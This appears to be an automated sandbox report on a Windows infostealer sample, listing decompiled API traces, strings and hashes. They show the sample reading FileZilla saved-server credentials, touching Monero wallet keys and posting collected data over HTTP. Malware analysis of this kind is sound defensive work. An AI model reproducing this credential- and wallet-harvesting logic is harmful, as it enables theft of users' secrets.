lstrcat.KERNEL32(?,0044F460), ref: 00567B06
lstrcat.KERNEL32(?,0044F5B0), ref: 00567B1A
lstrcat.KERNEL32(?,0044F598), ref: 00567B2D
lstrcat.KERNEL32(?,0044F2E0), ref: 00567B41
lstrcat.KERNEL32(?,0044F7A0), ref: 00567B55
lstrcat.KERNEL32(?,?), ref: 00567B69
lstrcat.KERNEL32(?,?), ref: 00567B7D
lstrcat.KERNEL32(?,?), ref: 00567B91
lstrcat.KERNEL32(?,0044F460), ref: 00567BA4
lstrcat.KERNEL32(?,0044F5B0), ref: 00567BB8
lstrcat.KERNEL32(?,0044F598), ref: 00567BCC
lstrcat.KERNEL32(?,0044F2E0), ref: 00567BDF
lstrcat.KERNEL32(?,0044F808), ref: 00567BF3
lstrcat.KERNEL32(?,?), ref: 00567C07
lstrcat.KERNEL32(?,?), ref: 00567C1B
lstrcat.KERNEL32(?,?), ref: 00567C2F
lstrcat.KERNEL32(?,0044F460), ref: 00567C43
lstrcat.KERNEL32(?,0044F5B0), ref: 00567C56
lstrcat.KERNEL32(?,0044F598), ref: 00567C6A
lstrcat.KERNEL32(?,0044F2E0), ref: 00567C7E

Part of subcall function 005675D0: lstrcat.KERNEL32(354B3020,005817FC), ref: 00567606
Part of subcall function 005675D0: lstrcat.KERNEL32(354B3020,00000000), ref: 00567648
Part of subcall function 005675D0: lstrcat.KERNEL32(354B3020, : ), ref: 0056765A
Part of subcall function 005675D0: lstrcat.KERNEL32(354B3020,00000000), ref: 0056768F
Part of subcall function 005675D0: lstrcat.KERNEL32(354B3020,00581804), ref: 005676A0
Part of subcall function 005675D0: lstrcat.KERNEL32(354B3020,00000000), ref: 005676D3
Part of subcall function 005675D0: lstrcat.KERNEL32(354B3020,00581808), ref: 005676ED
Part of subcall function 005675D0: task.LIBCPMTD ref: 005676FB

lstrcat.KERNEL32(?,0044FA70), ref: 00567E0B
lstrcat.KERNEL32(?,0044E900), ref: 00567E1E
lstrlen.KERNEL32(354B3020), ref: 00567E2B
lstrlen.KERNEL32(354B3020), ref: 00567E3B

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 5e24cd0c5477a52f9d8cf36ba335ad356c1ddfe691278d75960c7662979c5811
Instruction ID: 0b188a5ce441a65c492f2f9b79a894d157df6c41587b487a56dd122ff7503e0b
Opcode Fuzzy Hash: 5e24cd0c5477a52f9d8cf36ba335ad356c1ddfe691278d75960c7662979c5811
Instruction Fuzzy Hash: 473210B2810319ABCB55EBA0DC89DEA777CBB89700F048689F21D62090DF78E785CF55

Function 00570250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Part of subcall function 00578DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00578E0B

Part of subcall function 0057A920: lstrcpy.KERNEL32(00000000,?), ref: 0057A972
Part of subcall function 0057A920: lstrcat.KERNEL32(00000000), ref: 0057A982

Part of subcall function 0057A8A0: lstrcpy.KERNEL32(?,00580E17), ref: 0057A905

Part of subcall function 0057A9B0: lstrlen.KERNEL32(?,00449188,?,\Monero\wallet.keys,00580E17), ref: 0057A9C5
Part of subcall function 0057A9B0: lstrcpy.KERNEL32(00000000), ref: 0057AA04
Part of subcall function 0057A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0057AA12

Part of subcall function 0057A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0057A7E6

Part of subcall function 005699C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005699EC
Part of subcall function 005699C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00569A11
Part of subcall function 005699C0: LocalAlloc.KERNEL32(00000040,?), ref: 00569A31
Part of subcall function 005699C0: ReadFile.KERNEL32(000000FF,?,00000000,0056148F,00000000), ref: 00569A5A
Part of subcall function 005699C0: LocalFree.KERNEL32(0056148F), ref: 00569A90
Part of subcall function 005699C0: CloseHandle.KERNEL32(000000FF), ref: 00569A9A

Part of subcall function 00578E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00578E52

GetProcessHeap.KERNEL32(00000000,000F423F,00580DBA,00580DB7,00580DB6,00580DB3), ref: 00570362
RtlAllocateHeap.NTDLL(00000000), ref: 00570369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00570385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00580DB2), ref: 00570393
StrStrA.SHLWAPI(00000000,<Port>), ref: 005703CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00580DB2), ref: 005703DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00570419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00580DB2), ref: 00570427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00570463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00580DB2), ref: 00570475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00580DB2), ref: 00570502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00580DB2), ref: 0057051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00580DB2), ref: 00570532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00580DB2), ref: 0057054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00570562
lstrcat.KERNEL32(?,profile: null), ref: 00570571
lstrcat.KERNEL32(?,url: ), ref: 00570580
lstrcat.KERNEL32(?,00000000), ref: 00570593
lstrcat.KERNEL32(?,00581678), ref: 005705A2
lstrcat.KERNEL32(?,00000000), ref: 005705B5
lstrcat.KERNEL32(?,0058167C), ref: 005705C4
lstrcat.KERNEL32(?,login: ), ref: 005705D3
lstrcat.KERNEL32(?,00000000), ref: 005705E6
lstrcat.KERNEL32(?,00581688), ref: 005705F5
lstrcat.KERNEL32(?,password: ), ref: 00570604
lstrcat.KERNEL32(?,00000000), ref: 00570617
lstrcat.KERNEL32(?,00581698), ref: 00570626
lstrcat.KERNEL32(?,0058169C), ref: 00570635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00580DB2), ref: 0057068E

Strings

<Port>, xrefs: 005703C6
url: , xrefs: 00570577
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 005702A4
<User>, xrefs: 00570410
<Host>, xrefs: 0057037C
<Pass encoding="base64">, xrefs: 0057045A
password: , xrefs: 005705FB
browser: FileZilla, xrefs: 00570559
login: , xrefs: 005705CA
profile: null, xrefs: 00570568

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 2d75734d5f49bc9bef8d824c2ee38ebea2348e859ccc55af5a9067c289aee8d9
Instruction ID: 65e90fd4db1a144410513b3c02a672672e87dc43cafee30fc0bb17df453e30a5
Opcode Fuzzy Hash: 2d75734d5f49bc9bef8d824c2ee38ebea2348e859ccc55af5a9067c289aee8d9
Instruction Fuzzy Hash: BED11E71900109ABCB04FBF4ED9ADEE7B78BF94300F54C418F506A6095EF34AA46DB66

Function 00565100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0057A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0057A7E6

Part of subcall function 005647B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00564839
Part of subcall function 005647B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00564849

lstrlen.KERNEL32(00000000), ref: 00565193

Part of subcall function 00578EA0: CryptBinaryToStringA.CRYPT32(00000000,00565184,40000001,00000000,00000000,?,00565184), ref: 00578EC0

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00565207
StrCmpCA.SHLWAPI(?,0044F8B0), ref: 00565225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00565340
HttpOpenRequestA.WININET(00000000,0044F930,?,0044F550,00000000,00000000,00400100,00000000), ref: 005653A4

Part of subcall function 0057A9B0: lstrlen.KERNEL32(?,00449188,?,\Monero\wallet.keys,00580E17), ref: 0057A9C5
Part of subcall function 0057A9B0: lstrcpy.KERNEL32(00000000), ref: 0057AA04
Part of subcall function 0057A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0057AA12

Part of subcall function 0057A8A0: lstrcpy.KERNEL32(?,00580E17), ref: 0057A905

Part of subcall function 0057A920: lstrcpy.KERNEL32(00000000,?), ref: 0057A972
Part of subcall function 0057A920: lstrcat.KERNEL32(00000000), ref: 0057A982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,0044F910,00000000,?,0044AA28,00000000,?,005819DC,00000000,?,005751CF), ref: 00565737
lstrlen.KERNEL32(00000000), ref: 0056574B
GetProcessHeap.KERNEL32(00000000,?), ref: 0056575C
RtlAllocateHeap.NTDLL(00000000), ref: 00565763
lstrlen.KERNEL32(00000000), ref: 00565778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 005657A9
lstrlen.KERNEL32(00000000), ref: 005657C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 005657E1
lstrlen.KERNEL32(00000000,?,?), ref: 0056580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00565822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0056584D
InternetCloseHandle.WININET(00000000), ref: 005658B1
InternetCloseHandle.WININET(00000000), ref: 005658BE
InternetCloseHandle.WININET(00000000), ref: 005658C8

Strings

------, xrefs: 005653B7
--, xrefs: 00565280
------, xrefs: 005654F9
", xrefs: 005655C4
", xrefs: 00565706
------, xrefs: 0056563B
------, xrefs: 00565297
", xrefs: 00565482

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: eb8f75ecdba9db3501a17bd4908d8197b62c9d0dc12b4f2cdc72a4203c87b309
Instruction ID: f511326d0ec07df8d23ee32232eab3835f905b41482eb92e9fdd0b3ad813695e
Opcode Fuzzy Hash: eb8f75ecdba9db3501a17bd4908d8197b62c9d0dc12b4f2cdc72a4203c87b309
Instruction Fuzzy Hash: F4323272920119ABDB14EBA0EC99FEE7778BFD4700F408199F11A63091EF342A49DF56

Function 0056A790 Relevance: 40.8, APIs: 21, Strings: 2, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0057AA70: StrCmpCA.SHLWAPI(00449098,0056A7A7,?,0056A7A7,00449098), ref: 0057AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0056AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 0056AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 0056ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0056A8B0

Part of subcall function 0057A820: lstrlen.KERNEL32(00564F05,?,?,00564F05,00580DDE), ref: 0057A82B
Part of subcall function 0057A820: lstrcpy.KERNEL32(00580DDE,00000000), ref: 0057A885

Part of subcall function 0057A9B0: lstrlen.KERNEL32(?,00449188,?,\Monero\wallet.keys,00580E17), ref: 0057A9C5
Part of subcall function 0057A9B0: lstrcpy.KERNEL32(00000000), ref: 0057AA04
Part of subcall function 0057A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0057AA12

Part of subcall function 0057A8A0: lstrcpy.KERNEL32(?,00580E17), ref: 0057A905

lstrcat.KERNEL32(?,00000000), ref: 0056ACEB
lstrcat.KERNEL32(?,00581320), ref: 0056ACFA
lstrcat.KERNEL32(?,00000000), ref: 0056AD0D
lstrcat.KERNEL32(?,00581324), ref: 0056AD1C
lstrcat.KERNEL32(?,00000000), ref: 0056AD2F
lstrcat.KERNEL32(?,00581328), ref: 0056AD3E
lstrcat.KERNEL32(?,00000000), ref: 0056AD51
lstrcat.KERNEL32(?,0058132C), ref: 0056AD60
lstrcat.KERNEL32(?,00000000), ref: 0056AD73
lstrcat.KERNEL32(?,00581330), ref: 0056AD82
lstrcat.KERNEL32(?,00000000), ref: 0056AD95
lstrcat.KERNEL32(?,00581334), ref: 0056ADA4
lstrcat.KERNEL32(?,00000000), ref: 0056ADB7
lstrlen.KERNEL32(?), ref: 0056AE0D
lstrlen.KERNEL32(?), ref: 0056AE1C

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Part of subcall function 0057A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0057A7E6

DeleteFileA.KERNEL32(00000000), ref: 0056AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 0056ABD4
PD, xrefs: 0056A82A

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR$PD
API String ID: 4157063783-3096184000
Opcode ID: 9579fe9d9c8d0b7614f513f17fddf12c2f5653c7e391d422ab6103785ef31268
Instruction ID: 95cdcc23f6bb505a29bad29287ae19c6896133a5a89a9b16d4fee260cd3b700e
Opcode Fuzzy Hash: 9579fe9d9c8d0b7614f513f17fddf12c2f5653c7e391d422ab6103785ef31268
Instruction Fuzzy Hash: B7120F71910109ABDB04FBA0ED9AEEE7B78BFD4301F508158B50AA6091DF346E09DB67

Function 00565960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0057A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0057A7E6

Part of subcall function 005647B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00564839
Part of subcall function 005647B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00564849

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 005659F8
StrCmpCA.SHLWAPI(?,0044F8B0), ref: 00565A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00565B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0044FA60,00000000,?,0044AA28,00000000,?,00581A1C), ref: 00565E71
lstrlen.KERNEL32(00000000), ref: 00565E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00565E93
RtlAllocateHeap.NTDLL(00000000), ref: 00565E9A
lstrlen.KERNEL32(00000000), ref: 00565EAF
lstrlen.KERNEL32(00000000), ref: 00565ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00565EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00565F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00565F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00565F4C
InternetCloseHandle.WININET(00000000), ref: 00565FB0
InternetCloseHandle.WININET(00000000), ref: 00565FBD
HttpOpenRequestA.WININET(00000000,0044F930,?,0044F550,00000000,00000000,00400100,00000000), ref: 00565BF8

Part of subcall function 0057A9B0: lstrlen.KERNEL32(?,00449188,?,\Monero\wallet.keys,00580E17), ref: 0057A9C5
Part of subcall function 0057A9B0: lstrcpy.KERNEL32(00000000), ref: 0057AA04
Part of subcall function 0057A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0057AA12

Part of subcall function 0057A8A0: lstrcpy.KERNEL32(?,00580E17), ref: 0057A905

Part of subcall function 0057A920: lstrcpy.KERNEL32(00000000,?), ref: 0057A972
Part of subcall function 0057A920: lstrcat.KERNEL32(00000000), ref: 0057A982

InternetCloseHandle.WININET(00000000), ref: 00565FC7

Strings

", xrefs: 00565E16
------, xrefs: 00565D4C
", xrefs: 00565CD5
------, xrefs: 00565A96
------, xrefs: 00565C0B

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
